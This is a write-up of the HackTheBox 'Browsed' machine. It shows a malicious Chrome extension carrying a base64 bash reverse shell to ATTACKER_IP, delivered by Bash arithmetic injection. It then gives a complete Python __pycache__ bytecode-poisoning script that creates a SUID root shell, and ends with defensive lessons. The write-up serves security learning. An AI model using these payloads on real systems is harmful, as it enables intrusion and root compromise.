Browsed is a medium-difficulty Linux machine from HackTheBox that involves exploiting a Chrome extension testing platform through Bash arithmetic injection and Python bytecode cache poisoning. This machine demonstrates how browser extensions can be weaponized to reach internal services and exploit command injection vulnerabilities in backend scripts.

# Machine Information

Name: Browsed
OS: Linux (Ubuntu)
Difficulty: Medium
Points: 30
IP: 10.129.x.x

# Reconnaissance

# Port Scanning

Command Line Prompt
root@kali:~$ nmap -sC -sV 10.129.x.x

Starting Nmap...

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)

Two open ports: SSH (22) and HTTP (80). The web service is running on nginx 1.24.0.

# Web Application Analysis

The website at port 80 is a Chrome extension testing service. Users can upload .zip extensions that get tested by a "developer" (automated bot). Key observations:

  • Chrome Version 134 is explicitly supported (current version is 145 - outdated)
  • Extensions must be directly in the archive root, not in a subfolder
  • Sample extensions are available for download
  • Extensions run with <all_urls> permission (can access any URL including localhost)

This means our extension can make requests to localhost services that aren't accessible externally!

# Discovery of Internal Service

After uploading a reconnaissance extension with debug logging, Chrome debug output revealed an internal service:

1
NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/

Let's add this to /etc/hosts and check it out:

Command Line Prompt
root@kali:~$ echo "10.129.x.x    browsedinternals.htb browsed.htb" | sudo tee -a /etc/hosts

Visiting http://browsedinternals.htb/ reveals a Gitea instance with a public backup repository containing Flask application source code - our goldmine!

# Initial Access

# Vulnerability: Bash Arithmetic Injection

The Gitea repository contains two critical files in the backup:

  • app.py - Flask application that accepts a route ID parameter
  • routines.sh - Bash script executed with user-controlled input

The vulnerable code in routines.sh:

#!/bin/bash
if [[ "$1" -eq 0 ]]; then
echo "Routine 0: Clean temp files"
# The -eq operator evaluates $1 as arithmetic expression!
fi

The -eq operator in Bash performs arithmetic evaluation, which means the input is evaluated as a mathematical expression before comparison. This is dangerous!

We can inject commands via array indexing syntax:

# Normal: [[ "0" -eq 0 ]]  → true
# Exploit: arr[$(whoami)] → Executes whoami during arithmetic evaluation!

# Crafting the Malicious Extension

Create a malicious extension with the following structure:

manifest.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"manifest_version": 3,
"name": "Test Extension",
"version": "1.0.0",
"permissions": ["scripting"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}

content.js - The malicious payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(async function() {
const ATTACKER_IP = "10.10.14.x";
const PORT = 443; // Port 443 is rarely blocked!

// Base64 encode the reverse shell to avoid quoting issues
const cmd = btoa(`bash -i >& /dev/tcp/${ATTACKER_IP}/${PORT} 0>&1`);

// Inject into bash arithmetic context
const payload = `arr[$(echo ${cmd} | base64 -d | bash)]`;

// Trigger the vulnerable endpoint (no-cors bypasses CORS restrictions)
const url = `http://127.0.0.1:5000/routines/${encodeURIComponent(payload)}`;

// Fire and forget - we don't need the response
await fetch(url, { mode: 'no-cors' });
})();

Package and upload the extension:

Command Line Prompt
root@kali:~$ zip -j malext.zip manifest.json content.js
root@kali:~$ # Upload via the web interface
root@kali:~$ # Wait for the bot to test it...

Start a listener and catch the shell:

Command Line Prompt
root@kali:~$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.x.x

larry@browsed:~/markdownPreview$ id
uid=1000(larry) gid=1000(larry)

Bingo! We got our shell! Let's grab the user flag:

Command Line Prompt
larry@browsed:~$ cat user.txt
04bd406b30563738****************

# Privilege Escalation

# Sudo Permissions Enumeration

Command Line Prompt
larry@browsed:~$ sudo -l
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py

We can run a Python script as root. Let's investigate it:

Command Line Prompt
larry@browsed:~$ ls -la /opt/extensiontool/
-rwxr-xr-x extension_tool.py
-rw-r--r-- extension_utils.py
drwxrwxrwx __pycache__ # World writable - JACKPOT!

The __pycache__ directory has 777 permissions! This is our ticket to root!

# Python Bytecode Cache Poisoning Attack

Python caches compiled bytecode in __pycache__ directories as .pyc files with a 16-byte header containing:

  • Bytes 0-3: Magic number (Python version identifier)
  • Bytes 4-7: Bitfield/Padding
  • Bytes 8-11: Timestamp of source file (Little Endian uint32)
  • Bytes 12-15: Size of source file (Little Endian uint32)

If the timestamp and size in the .pyc header match the actual .py file, Python loads the cached bytecode without checking the source!

Our attack plan:

  1. Create malicious extension_utils.py with our backdoor functions
  2. Compile it to .pyc bytecode
  3. Read the real extension_utils.py timestamp and size
  4. Patch our malicious .pyc header with those values
  5. Drop the poisoned .pyc in __pycache__
  6. Run the sudo script → Python loads our backdoor!

# Exploitation Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# pwn.py - Python bytecode poisoning exploit
import os, struct, py_compile

TARGET_DIR = "/opt/extensiontool"
SOURCE_FILE = os.path.join(TARGET_DIR, "extension_utils.py")
CACHE_PATH = os.path.join(TARGET_DIR, "__pycache__", "extension_utils.cpython-312.pyc")

print("[*] Step 1: Creating malicious module...")

# Create fake extension_utils.py with our backdoor
with open("extension_utils.py", "w") as f:
f.write('''
import os
def validate_manifest(path):
return {"version": "0.0.1"}
def clean_temp_files(arg):
# Create SUID bash for root access
os.system("cp /bin/bash /tmp/rootbash")
os.system("chmod 4777 /tmp/rootbash")
''')

print("[*] Step 2: Compiling to bytecode...")
py_compile.compile("extension_utils.py", cfile="payload.pyc")

print("[*] Step 3: Reading original file stats...")
st = os.stat(SOURCE_FILE)
orig_mtime = int(st.st_mtime)
orig_size = st.st_size
print(f"[+] Original timestamp: {orig_mtime}, size: {orig_size}")

print("[*] Step 4: Patching .pyc header...")
with open("payload.pyc", "rb") as f:
data = bytearray(f.read())

# Patch header bytes 8-15 with original values
struct.pack_into("<I", data, 8, orig_mtime) # timestamp at offset 8
struct.pack_into("<I", data, 12, orig_size) # size at offset 12

print("[*] Step 5: Injecting poisoned bytecode...")
with open(CACHE_PATH, "wb") as f:
f.write(data)

print("[+] Done! Run: sudo /opt/extensiontool/extension_tool.py --clean")

Run the exploit and trigger the backdoor:

Command Line Prompt
larry@browsed:/tmp$ python3 pwn.py
[*] Step 1: Creating malicious module...
[*] Step 2: Compiling to bytecode...
[*] Step 3: Reading original file stats...
[+] Original timestamp: 1742727379, size: 1245
[*] Step 4: Patching .pyc header...
[*] Step 5: Injecting poisoned bytecode...
[+] Done! Run: sudo /opt/extensiontool/extension_tool.py --clean

larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py --clean
# Python loads our poisoned bytecode and creates SUID bash!

larry@browsed:/tmp$ /tmp/rootbash -p
rootbash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root)

And we're root! Let's grab the flag:

Command Line Prompt
rootbash-5.2# cat /root/root.txt
2bc2bd08e6bb244b************

# Key Takeaways & Lessons Learned

# For Red Teamers

  • Browser Extension Attacks: Extensions with <all_urls> permission can reach internal services inaccessible from outside
  • Port 443 for Shells: HTTPS port is rarely blocked by egress firewalls - always try it first
  • Bash Arithmetic Contexts: Search for -eq, -ne, -lt operators with user input - they're dangerous!
  • Cache Directory Hijacking: Always check permissions on __pycache__, .class, .so directories

# For Blue Teamers & Developers

  • Extension Security: Implement strict CSP policies and extension source restrictions
  • Input Validation: NEVER use arithmetic comparison operators (-eq) with user input in bash scripts
  • File Permissions: Cache directories should be 755, never 777
  • Principle of Least Privilege: Scripts executed with sudo should drop privileges ASAP

# The Vulnerable Pattern to Avoid

# VULNERABLE - evaluates input as arithmetic expression
if [[ "$user_input" -eq 0 ]]; then

# SAFE - performs string comparison
if [[ "$user_input" == "0" ]]; then

# Conclusion

Browsed was an excellent introduction to modern attack vectors involving browser-based exploitation and Python internals. The bash arithmetic bug is particularly nasty and appears in real-world code. Great machine for learning!

Pwned: 2026-01-16
Difficulty: Medium

Edited on